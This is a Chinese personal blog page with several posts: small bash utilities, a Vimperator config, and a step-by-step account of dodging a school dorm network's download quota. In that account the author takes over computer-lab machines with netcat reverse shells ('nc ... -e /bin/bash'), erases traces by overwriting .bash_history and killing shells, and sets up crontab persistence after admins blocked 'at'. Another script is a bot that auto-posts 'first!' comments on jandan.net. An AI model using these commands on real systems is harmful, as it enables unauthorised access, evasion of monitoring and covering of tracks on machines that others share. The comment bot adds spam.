-
ubuntu,小小小脚本 - [电脑生活]
show show 最近一段时间写的小小小脚本,类似内容可见上一次的日志
howbig
#!/bin/bash
echo -e 'HEAD '$1' HTTP/1.0\n\n' | nc 10.0.254.254 3128 | grep Content-Length作用:用netcat向局域网网关发送文件头信息,并grep出文件大小信息(字节),参数-e是为了它能辩认转义符\n(回车)
升级版的vremind
#!/bin/bash
d=`date +%m%d%H%M`
cd $HOME/tmp/
rec -r 44100 $d.ogg
sox $d.ogg -n trim 0 1.5 noiseprof | sox $d.ogg tmp.ogg vol 10 dB noisered - 0.2
mv tmp.ogg $d.ogg
for t in $@ ; do
if [ `expr index "$t" ':'` -eq 0 ]
then echo "play $HOME/tmp/$d.ogg" | at NOW+$t min
else echo "play $HOME/tmp/$d.ogg" | at $t
fi
done作用:先用44100Hz采样率录音,然后生成噪音采样(noiseprof),去噪(noisered)放大音量后存为tmp.ogg再覆盖原录音文件。否则,若一边音频处理一边写入录音文件,会导致文件损坏,丢了25秒左右以后的内容。调用vremind时可以有多个参数,数字参数表示若干分钟后重放,时间(中间有冒号)参数规定重放时刻,可以多次重放。
jandan
#!/bin/bash
cd $HOME/tmp
wget -nv http://jandan.net/new -O - | grep -o http://jandan\.net/2.*html > old.lst
while [ true ] ; do
wget -nv http://jandan.net/new -O - | grep -o http://jandan\.net/2.*html > new.lst
sf=`diff old.lst new.lst | grep \> | sed -e 's/> //g'`
echo $sf
for url in $sf ; do
id=`wget -nv $url -O - | sed -n 's/<div class=\"post" id=\"post-\(.*\)\">/\1/p'`
curl http://jandan.net/wp-comments-post.php --cookie $HOME/jandan_cookies.txt -F "author=pchu" -F "email=username@gmail.com" -F "url=" -F "comment=沙发~" -F "comment_post_ID=$id"
done
mv new.lst old.lst
sleep 2
done作用:煎蛋(jandan.net)的抢沙发机器人,请手动准备好cookies。首先获取文章更新列表放着(只需找2打头的html文件),然后每两秒循环,下一个新的列表,diff一下,用grep \>定位多出来的文章。然后下载该页面,找到该文章的post-id,最后用curl模拟发评论动作,送上cookies、用户名、email,当然还有宝贵的“沙发~”
fanfou
#!/bin/bash
curl -u username@gmail.com -d status="$@" http://api.fanfou.com/statuses/update.xml &>/dev/null作用:更新饭否,命令打完回车后,还要输入密码并回车(终端不会显示出来)。当然也可以用cookies解决。
jiwai
#!/bin/bash
curl -u username@gmail.com -d status="$@" http://api.jiwai.de/statuses/update.xml &>/dev/null作用:同上
fren
#!/bin/bash
if [ "$1" == "?" ]
then
shift
sdcv -u "Larousse Chambers français-anglais" $@
else
sdcv -u "Larousse Chambers français-anglais" $@ | dictwrap
fi作用:用sdcv (StarDict Commandline Version)查法英词典,如果第一个参数是问号,则直接调用sdcv(单词拼错时会有纠错提示);否则把查到的解释传给另一个脚本dictwrap。(因为Larousse Chanbers词典的解释有大量的html标签)
enfr
#!/bin/bash
if [ "$1" == "?" ]
then
shift
sdcv -u "Larousse Chambers English-French" $@
else
sdcv -u "Larousse Chambers English-French" $@ | dictwrap
fi作用:同上
dictwrap
#!/bin/bash
grep $@ -v ^"Found 1 items, similar to" |grep -v ^"-->" | grep -v ^$ | sed -e "s/<BR>/\n/g;s/&/\&/g;s/<FONT color=\"#A50021\"><B>/`echo -e '\e[1;31m'`/g;s/<\/B><\/FONT>/`echo -e \\\e[0m`/g;s/<FONT color=\"blue\">/`echo -e '\e[34;40m'`/g;s/<FONT color=\"#A50021\">/`echo -e '\e[32;40m'`/g;s/<FONT color=\"#74726D\">\(.\{,40\}\)<\/FONT>/`echo -e '\e[2m'`\1`echo -e '\e[22m'`/g;s/<\/FONT>/`echo -e \\\e[0m`/g;s/<B>/`echo -e \\\e[1m`/g;s/<\/B>/`echo -e \\\e[21m`/g;s/<I>/`echo -e '\e[4m'`/g;s/<\/I>/`echo -e '\e[24m'`/g;s/<CHARSET c=\"T\">2014;<\/CHARSET>//g"作用:先把空行和无聊的字眼去掉,然后把<BR>换成回车转义符,把&换成&号,再用ANSI颜色控制码解释各个html标签,比如把<FONT color="#A50021"><B>换成\e[1;31m,其中1表示粗体,31表示红色,同时由于用到转义符\e,echo要加-e参数。
-
.vimperatorrc - [历久常新]
" 这篇日志将持续更新,2009/03/22
" 关于vimperator的入门简介可见我的另一篇日志
" 1.2 (created: 2008/08/16 18:51:52)
" Mappings
" 先把麻烦的东西拿掉
map A <Nop>
map <C-q> <Nop>
map <C-o> <Nop>
map <C-i> <Nop>
map <C-z> <Nop>
map <C-p> <Nop>
" 再把页面浏览、标签页跳转和历史跳转绑定到顺手的地方,右手万岁!
noremap j 2j
noremap k 2k
noremap J <C-d>
noremap K <C-u>
noremap h gT
noremap l gt
noremap H h
noremap L l
map < <C-6>
noremap > g$
noremap , <C-o>
noremap . <C-i>
map U :ju<CR>
map <C-.> :tabm<CR>
" 想办法再减少按键频率
noremap g gg
noremap s <C-c>
noremap S gf
noremap <C-n> gb
noremap <C-N> gB
noremap " gn
noremap ] ]]
noremap [ [[
" 解决全选、复制、粘帖、剪切和撤销与vimperator冲突的问题
noremap <C-V> <C-v>
noremap <C-Z> <C-z>
noremap <C-c> <C-v><C-c>
noremap <C-a> <C-v><C-a>
cnoremap <C-c> <C-v><C-c>
cnoremap <C-v> <C-v><C-v>
cnoremap <C-x> <C-v><C-x>
inoremap <C-a> <C-v><C-a>
inoremap <C-c> <C-v><C-c>
inoremap <C-v> <C-v><C-v>
inoremap <C-x> <C-v><C-x>
inoremap <C-z> <C-v><C-z>
inoremap <C-y> <C-v><C-y>
" 还原我的书签栏和下载对话框快捷键
noremap <C-b> <C-v><C-b>
noremap <C-y> <C-v><C-y>
" 还原 ctrl-k 跳到搜索栏的快捷键
noremap <C-k> <C-v><A-d><Tab>
" 装了dictd后,用F12轻松查单词,grep是用来去除空行的。<F12>查光标焦点所在的单词,<S-F12>查选中的单词
map <F12> ibvey<Esc><Esc>:!dict <C-v>|grep -v ^$<CR>
map <S-F12> Y:!dict <C-v>|grep -v ^$<CR>
" 以下两个没有成功,原因估计是:frcn是 ~/bin 里的脚本,vimperator没读到;vimperator传中文字符“朗道英汉字典”时出问题
" map <C-F12> Y:!frcn <C-v>|grep -v ^$<CR>
" map <M-F12> Y:!sdcv -u "朗道英汉字典5.0" <C-v>|fgrep *[<CR>
" Options
set guioptions=mT
set titlestring=Mozilla Firefox
set popups=2
set complete=lfbs
" 齐全的next和previous……需要注意我在 \bnext\b 前加了一个 ^\bnext\b ,因为比如在SciAm网站,经常match到右上角的“What's next”栏目,而不是文章下方的next链接。先match前缀可以解决这个问题。又,suivant和précédent是法语
set nextpattern=\s*下一页|下一张|下一篇|下一頁|下页|后页\s*,^\bnext\b,\bnext\b,\bsuivant\b,^>$,^(>>|››|»)$,^(>|»),(>|»)$,\bmore\b
set previouspattern=\s*上一页|上一张|上一篇|上一頁|上页|前页\s*,^\bprev|previous\b,\bprev|previous\b,\bprécédent\b,^<$,^(<<|‹‹|«)$,^(<|«),(<|«)$
" PassThrough gmail and greader
autocmd LocationChange .* js modes.passAllKeys = /.*(mail\.google\.com|www\.google\.com\/reader).*/.test(buffer.URL)
" Another solution,用的是feedmap插件,木有成功
" :autocmd LocationChange .* :feedmapclear
" :autocmd LocationChange ^https?://www\\.google\\.com/reader :feedmap! -vkey j k m s t v A u / ?
" autocmd LocationChange .* :fmapc
" autocmd LocationChange mail\\.google\\.com/mail :fmap -depth 4 c / j k n p o u e x s r a # [ ] z ? gi gs gt gd ga gc
" autocmd LocationChange .* :fmapc
" autocmd LocationChange www\\.google\\.com/reader :fmap! -vkey j k n p m s t v A r S N P X O gh ga gs gt gu u / ?
" autocmd LocationChange .* :fmapc
" autocmd LocationChange '^https?://www\.google\.com/calendar/' :fmap! -vkey -event keydown t a d w m x c e <Del> / + q s ?
" Abbreviations
" 连按两下:比按:!(居然还要换shift!)要爽
cabbrev : !
" Commands
" noimg可以减少流量,nojs用于调控一些不听话的网页
command noimg set! permissions.default.image=2
command ysimg set! permissions.default.image=1
command nojs set! javascript.enabled=false
command ysjs set! javascript.enabled=true
source! ~/_vimperatorrc.local
source ~/.vimperator/plugin/feedsomeKeys_2.js
source ~/.vimperator/plugin/toggler.js
" vim: set ft=vimperator: -
情况是这样的,学校宿舍网络每天限下载300M,上传50M,但是电脑室没有限制。电脑室几乎每台机都装有debian和kleber XP双系统,都和宿舍网络同属一个局域网,但是有不同的子网掩码。反正学校局域网路由只记录从宿舍发出的对外的请求和数据流,因而可以让电脑室的电脑向外请求下载数据,然后在局域网内发送给自己的电脑。
有了之前多次测试积累的经验,我发现即使我得到电脑室电脑(称为remoteB)的ip地址,并且物理接触、开启控制端口,自己的电脑(称为localA)仍然不能连接上。反之,如果在localA开监听端口,再物理接触remoteB、连接过来,则可以进行数据传输,同时注意到localA连接上的都是10.0.254.253,虽然不同于宿舍网关10.0.254.254,不过看来是子网掩码。
当然,老是用物理接触的方式往localA发送数据也不好,于是我们需要:1 用物理接触(还是要的)让localA获得remoteB的控制,2 用管道直接让remoteB下载的文件实时传输回localA,3 远程清除痕迹。
实现:
#本地开个端口,对应参数l(isten)p(ort),vv代表verbose,方便查错
A: nc -vvlp 10010
#远程连上本地,-e参数表示把从端口收到的东西传给后面(/bin/bash),从而执行命令
B: nc 10.0.101.28 10010 -e /bin/bash
#A收到提示:connect to [10.0.101.28] from club-info.internat.kleber [10.0.254.253] 35512
#安全起见,立刻毁尸灭迹,并增设多一个控制端口(用新的terminal)
A2: nc -vvlp 10011
A(B): echo 'killall bash && killall lxterminal && nc 10.0.101.28 10011 -e /bin/bash' | at 12:00
#A断了以后
A: nc -vvlp 10010
A2(B): echo 'nc 10.0.101.28 10010 -e /bin/bash' | at 12:05
#之所以用at而不直接nc,是为了保证A2断了不会拉着A一起断,现在有A和A2两个,下文可以互换
#继续毁尸灭迹(用新的terminal),当然你可以用 /dev/zero 代替新建文件 empty
A3: nc -vvlp 10001 < ~/empty
A(B): nc 10.0.101.28 10001 > ~/.bash_history &
A3: [ctrl-c]
#可以开始下东西了,早期我用的方法是找个人在上面下载(到remoteB),localA用ls查看,并且拿回来:
#A3: nc -vvlp 10001 > file1
#A(B): nc 10.0.101.28 10001 < file_in_B &
#后面这个&是为了nc在传东西的同时控制端口10010还能继续操作
#现在么,经过测试,除了remoteB没设置环境变量http_proxy以外,wget非常好用
A(B): export http_proxy=http://10.0.254.254:3128/
A3: nc -vvlp 10001 > file1
A(B): wget http://www.example.com/file.rar -O - | nc 10.0.101.28 10001 &
#wget的-O参数是把下载的文件重定向到 - (占位符,说明要用管道)
#查看wget和nc是否正常工作可以用
A(B): ps -eH
#列出进程树
A(B): netstat -p | head
#检查在传送的网络数据流
#当时有台机器居然at命令给管理员封了,被迫使用crontab,方法如下:
#localA新建一个文件,用于覆盖remoteB的cron
A2: vim cron
# m h dom mon dow command
0 12 * * * killall bash && killall lxterminal && nc 10.0.101.28 10011 -e /bin/bash
保存退出
A2: nc -vvlp 10001 < cron
A(B): nc 10.0.101.28 10001 | crontab - &
#这样remoteB就接住了localA发来覆盖cron的文件并且用crontab写入cron,同样 - 代表了从管道读入
#必须关闭10001端口,remoteB才会把收到的数据正式写入cron
A2: [ctrl-c]
#A(B)可以用 crontab -l 看一下是否弄好
#cron执行后把localA的cron文件删掉第二行,重做一次以消灭痕迹
#完事了还可以 halt 掉 remoteB(虽然我没试过)那个战绩是辉煌的,一般不下到1G左右都不停手,唯一的问题是时不时有人用那台电脑的话,一看是debian,立刻关机重启进XP玩游戏……幸亏差一些没下完的文件可以用 wget -c url 来补齐……
-
当今的教育部绝对是扼杀人才的侩子手 - [杂物柜]
当今的教育部绝对是扼杀人才的侩子手
其实我只是想知道,在博客上说这么一句话,校长先生会不会来找我说,“给学校领导造成了很大的压力”……
-
Happy Pi Day! - [生活琐事]
3/14 15:9:26